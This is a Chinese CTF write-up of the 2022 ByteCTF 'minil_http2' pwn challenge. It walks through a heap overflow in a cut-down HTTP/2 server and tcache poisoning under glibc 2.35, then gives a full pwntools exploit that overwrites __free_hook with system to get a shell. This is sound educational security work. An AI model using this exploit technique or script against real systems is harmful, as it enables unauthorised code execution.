2022 ByteCTF Pwn minil_http2

如果全程 2*24h 在线肝应该是能出的, 可惜早上起不来 + 第二天 ACM. 题对我来说刚刚好, 学到很多.

64 位 ELF, glibc 2.35, 保护全开.

稍微有点逆向的难度. 把 json parse 猜出来后, bb 说 Finger 一扫就解决了. (此时我的内心是崩溃的.)

程序初始化的时候, 在 bss 上写了一个 libc 的地址, 经过调试发现是 __free_hook. 主程序是一个删减版的 http2 服务器, 没找到生成 http2 的工具, 于是自己写. 这部分略过.

Get 有注册, 登录, 退出. 退出的时候会调用 __free_hook(username), username 是注册时候的字段. 登录成功后, 会给 libc 地址.

Post 是菜单, 增删改查. Post 第二个 frame 的 payload 是 json. (看 reponse 格式, pares 里出现过 {, :, , 等字符猜出来的, 用 Finger 一扫也能看到带有 json 的函数名)

reponse 的 json 带有字符串存放地址, 也就是堆. 于是堆地址也知道了.

主要理解一下 add:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
unsigned __int64 __fastcall add_worker(char *url, char *payload)
{
  int idx; // [rsp+14h] [rbp-102Ch]
  __int64 *v4; // [rsp+18h] [rbp-1028h]
  __int64 *v5; // [rsp+20h] [rbp-1020h]
  __int64 *v6; // [rsp+28h] [rbp-1018h]
  char s[16]; // [rsp+30h] [rbp-1010h] BYREF
  unsigned __int64 v8; // [rsp+1038h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  idx = find_empty();
  v4 = (__int64 *)parse(payload);
  if ( !v4 )
    error("parse failed!");
  v5 = std::allocator_traits_std::allocator_char__::allocate_std::allocator_char___ulong_((__int64)v4, (__int64)"name");
  v6 = std::allocator_traits_std::allocator_char__::allocate_std::allocator_char___ulong_((__int64)v4, (__int64)"desc");
  if ( !v5 || !v6 || !v5[4] || !v6[4] )
    error("Invalid argv!");
  if ( strlen((const char *)v5[4]) > 0xFF || strlen((const char *)v6[4]) > 0xFF )
    error("Invalid argv!");
  workers[idx].name_len = strlen((const char *)v5[4]);
  workers[idx].desc_len = strlen((const char *)v6[4]);
  workers[idx].name = strdup((const char *)v5[4]);
  workers[idx].desc = strdup((const char *)v6[4]);
  workers[idx].status = 1;
  memset(s, 0, 0x1000uLL);
  snprintf(
    s,
    0x1000uLL,
    "{\"status\": 1,\"name_addr\": \"%p\",\"desc_addr\": \"%p\"}",
    workers[idx].name,
    workers[idx].desc);
  print_s(s);
  cJSON_Delete_localalias(v4);
  return v8 - __readfsqword(0x28u);
}

添加用的是 strdup, 会 malloc(sizeof(str)), 写入后返回.

不过, 在 parse 内, 会对 json 的每个字段值进行处理, 经过调试, 这里也会 malloc 相应的空间. add 函数最后的 cJSON_Delete_localalias 会 free 这部分空间. 举个例子, 假如 name 长 0x30, desc 长 0x20, 则 parse 先 c1 = malloc(0x30), c2 = malloc(0x20) (与顺序有关), 然后分别 strdup name 和 desc, 会 c3 = malloc(0x30), malloc(0x20). cJSON_Delete_localalias 内会 free(c1), free(c2).

漏洞出现在 edit 上:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
__int64 *__fastcall edit_worker(__int64 a1, __int64 a2)
{
  size_t v2; // rax
  char *v3; // rbx
  size_t v4; // rax
  char *v5; // rbx
  int v7; // [rsp+1Ch] [rbp-34h]
  __int64 *v8; // [rsp+20h] [rbp-30h]
  __int64 *v9; // [rsp+28h] [rbp-28h]
  __int64 *v10; // [rsp+30h] [rbp-20h]
  __int64 *v11; // [rsp+38h] [rbp-18h]

  v8 = (__int64 *)parse((char *)a2);
  if ( !v8 )
    error("parse failed!");
  v9 = std::allocator_traits_std::allocator_char__::allocate_std::allocator_char___ulong_((__int64)v8, (__int64)"name");
  v10 = std::allocator_traits_std::allocator_char__::allocate_std::allocator_char___ulong_((__int64)v8, (__int64)"desc");
  v11 = std::allocator_traits_std::allocator_char__::allocate_std::allocator_char___ulong_(
          (__int64)v8,
          (__int64)"worker_idx");
  if ( !v9 || !v10 || !v9[4] || !v10[4] || !v11 || *((int *)v11 + 10) < 0 || *((int *)v11 + 10) > 15 || v11[4] )
    error("Invalid argv!");
  if ( strlen((const char *)v9[4]) > 0xFF || strlen((const char *)v10[4]) > 0xFF )
    error("Invalid argv!");
  v7 = *((_DWORD *)v11 + 10);
  if ( !workers[v7].status )
    error("Empty worker!");
  v2 = strlen((const char *)v9[4]);
  memcpy(workers[v7].name, (const void *)v9[4], v2);
  v3 = workers[v7].name;
  v3[strlen((const char *)v9[4])] = 0;
  workers[v7].name_len = strlen((const char *)v9[4]);
  v4 = strlen((const char *)v10[4]);
  memcpy(workers[v7].desc, (const void *)v10[4], v4);
  v5 = workers[v7].desc;
  v5[strlen((const char *)v10[4])] = 0;
  workers[v7].desc_len = strlen((const char *)v10[4]);
  return cJSON_Delete_localalias(v8);
}

同样 edit 也会经过 parse, 会对每个字段进行相应的 malloc. 然后没有检查 size 就直接 memcpy. 这里造成了堆溢出. 不过, 在上面检查了内容长度不能超过 0xff.

还需要注意的是, 读入函数遇到 \x00 会截止. 具体函数略.

思路很明显, 注册时用户名输入为 /bin/sh, 利用堆溢出, 造成任意地址写, 向 __free_hook 上写 system, 然后 exit 触发 system("/bin/sh").

glibc 2.35 + 溢出, 可以想到覆盖 tcache 的 next 进行任意地址分配, 从而任意地址写.

一开始没理清程序哪儿会 malloc, 哪儿会 free, 乱搞了好久完全没思路. 冷静下来一分析, 就构造出来了.

先选取合适的 chunk 大小. 因为程序会产生 0x20 和 0x50 的堆块, 如过 chunk 大小用这些值, 不利于我们控制 tcachebin. 尝试构造这样的 tcache (假设 chunk size 为 0x40):

1 2 3 4

在 add(0x30, 0x30) 的时候, chunk 1, 2 会被 get, 作为 parse. 然后 strdup chunk 3, 4. 如果通过溢出, 修改了 chunk 3 的 next, 那么拿到的 chunk 4 就是任意地址了. 之后 1, 2 由于没有修改, 所以能够正常 free 掉.


插播一下之前出现的一些问题.

  • chunk 大小选的 0x20, 导致布置很难.
  • 想 name, desc size 不一样, 修改会被 parse malloc 的 chunk 的 next, 任意分配到 name. 但是由于溢出到 next 必然覆盖掉 size, 而输入不能有 \x00, size 就出问题了, 之后 free 就崩溃了.

于是我们可以在 chunk 2, 3 中间放一个 chunk, edit 这个 chunk 来进行溢出覆盖 chunk 3. 构造的时候还发现, 如果直接这么写, 在堆上这中间还会出现几个 0x20 的 chunk. 为了避免这种情况, 我在这之前 add 了 0x20 的 chunk, 然后 free 掉, 让出现的这些 chunk 从 bins 里取, 就不会在堆上了. 最后构造的效果确实很好. (边调边看才知道我在说什么…)

接下来是绕过高版本 tcache 的一些检查. 首先 get 的地址要对齐, 也就是我们覆盖的 next 需要对齐. 这个很好办, 如果不对齐给他减到对齐就行了. 输入的时候也只要能写到 __free_hook 就行.

然后是 next 并不是直接存的, 而是存的 ((&(e->next)) >> 12) ^ e->next). 由于我们知道了堆地址, 计算一下构造完后, &(e->next) 是多少, 给他异或上就行.

最后还有一点细节, 由于这题的 malloc(size) 并不是自己显式控制的, 而是 sizeof(str), 如果用了 0x40 的 tcachebin, 那么字符串长度一定要大于 0x28, 才能 malloc 到 0x40 的 chunk. 所以在任意地址分配的时候, 其实要计算到末尾字符串恰好覆盖到 __free_hook. 在我写的 exp 中, 就是目标地址要比 __free_hook 低 0x28 (包括对齐所需). 然后写入 0x28 padding 到 __free_hook, 再写 system.

exp:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
from pwn import *
import subprocess
context(os='linux', arch='amd64')#, log_level='debug')

procname = './pwn'
libcname = './libc.so.6'

io = process(procname, stdin=PTY)
# io = remote()
elf = ELF(procname)
libc = ELF(libcname)

def n2b(x):
  return str(x).encode()

def one_gadgets():
  result = [int(i) for i in subprocess.check_output(['one_gadget', '-l', '1', '--raw', libcname]).decode().split(' ')]
  debug(f'search one gadgets from {libcname}: {[hex(i) for i in result]}')
  return result

def frame(body, md, Type):
  body_len = p32(len(body))[::-1]
  if md == 'data':
    payload = b''
  else:
    m = {'Get':b'\x82', 'Post':b'\x83'}
    payload = m[md] + b'\x86\x44' + body_len
  payload += body
  f = header(payload, Type) + payload
  return f

def header(payload, Type):
  T = {'header': b'\x01', 'data': b'\x00'}
  payload_len = (p32(len(payload))[:3])[::-1]
  return payload_len + T[Type] + b'\x05' + p32(0xdeadbeef)

def Get(body):
  io.send(frame(body, 'Get', 'header'))

def Post(body, payload):
  f1 = frame(body, 'Post', 'header')
  f2 = frame(payload, 'data', 'data')
  io.send(f1)
  io.send(f2)

def add(name, desc):
  payload = b'{"name": "' + name + b'", "desc": "' + desc + b'"}'
  Post(b'/api/add_worker', payload)
  a = io.recv()
  # print(a)
  reponse = a[19:]
  print(reponse)
  return reponse

def edit(idx, name, desc):
  payload = b'{"worker_idx":' + n2b(idx) + b', "name": "' + name + b'", "desc": "' + desc + b'"}'
  Post(b'/api/edit_worker', payload)

def delete(idx):
  Post(b'/api/del_worker', b'{"worker_idx":' + n2b(idx) + b'}')
  reponse = io.recv()[19:]
  print(reponse)
  return reponse

def show(idx):
  Post(b'/api/show_worker', b'{"worker_idx":' + n2b(idx) + b'}')
  reponse = io.recv()[19:]
  print(reponse)
  return reponse


Get(b'/register?username=/bin/sh&password=/bin/sh')
io.recv()
Get(b'/login?username=/bin/sh&password=/bin/sh')
libc.address = int(io.recv()[-16:-2], 16) - 0xc4200
success(f'leak libc: {hex(libc.address)}')

reponse = add(b'a' * 0x10, b'b' * 0x10) # 0
heap = int(reponse[27:41], 16) - 0x640
success(f'leak heap: {hex(heap)}')
delete(0)

target_addr = heap + 0xa40
free_hook = libc.sym['__free_hook']
success(f'__free_hook: {hex(free_hook)}')
fake_chunk = free_hook - 0x8 - 0x20
target = (target_addr >> 12) ^ fake_chunk

add(b'c' * 0x30, b'd' * 0x30) # 0
add(b'e' * 0x20, b'f' * 0x20) # 1
add(b'g' * 0x30, b'h' * 0x30) # 2

delete(2)
delete(0)


payload = b'Z' * 0x70 + p64(target)[:6]
edit(1, b'i' * 0x20, payload)

payload = b'l' * 0x28 + p64(libc.sym['system'])[:6]
add(b'j' * 0x30, payload) # 0

pause()

Get(b'/exit')

io.interactive()